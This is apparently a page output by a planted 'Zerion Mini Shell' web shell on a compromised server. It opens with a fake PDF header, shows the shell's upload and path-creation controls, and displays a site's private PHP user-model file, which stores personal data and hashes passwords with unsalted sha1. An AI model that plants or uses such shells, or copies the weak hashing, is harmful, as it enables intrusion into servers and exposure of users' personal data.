%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /data/www_bck/varak.net_bck/mpr.varak.net/app/model/
Upload File :
Create Path :
Current File : //data/www_bck/varak.net_bck/mpr.varak.net/app/model/MyUser.php

<?php
/**
 * Created by PhpStorm.
 * User: E581905
 * Date: 28.4.14
 * Time: 19:56
 */

class MyUser extends Base
{

    public function getUserById($id)
    {
        $res = $this->db->query("select [id], [username], [name], [phone], [mail], [address], [birthnumber], [role] from [users] where [id]=%i", $id);
        return $res->fetch();
    }

    public function addUser($username, $password, $name, $address, $mail, $phone, $birthnumber)
    {
        $usr = array(
            'username' => $username,
            'password' => sha1("$username:$password"),
            'name' => $name,
            'address' => $address,
            'mail' => $mail,
            'phone' => $phone,
            'birthnumber' => $birthnumber,
            'role' => 'user'
        );
        $this->db->query("insert into [users]", $usr);
    }

    public function getUsers()
    {
        return $this->db->query("select [id], [username], [role], [name], [address], [mail], [phone], [birthnumber] from [users] order by [username]");
    }

    public function deleteUserById($id)
    {
        $this->db->query("delete from [users] where [id]=%i", $id);
    }

    public function editUser($id, $name, $address, $mail, $phone, $birthnumber, $role, $qadmin, $qprojman, $qprogman)
    {
        $usr = array(
            'name' => $name,
            'address' => $address,
            'mail' => $mail,
            'phone' => $phone,
            'birthnumber' => $birthnumber,
            'role' => $role,
            'qualif_admin' => $qadmin,
            'qualif_project_man' => $qprojman,
            'qualif_program_man' => $qprogman
        );
        $this->db->query("update [users] set %a where [id]=%i", $usr, $id);
    }

    public function editUserPassword($id, $username, $password)
    {
        $password = sha1("$username:$password");
        $this->db->query("update [users] set [password]=%s where [id]=%i", $password, $id);
    }

    public function getSignedUpCommittees($userId)
    {
        return $this->db->query("SELECT [C].[id], [C].[title], [C].[date], [C].[type], [C].[qualification], [U].[name] [chairman], [CS].[paid] FROM [committees] [C] JOIN [committee_members] [CM] ON [CM].[committee] = [C].[id] JOIN [users] [U] ON [U].[id] = [CM].[user] JOIN [committee_signups] [CS] ON [CS].[committee] = [C].[id] WHERE [CM].[isowner] = 1 AND [CS].[user] = %i", $userId);
    }

} 

Zerion Mini Shell 1.0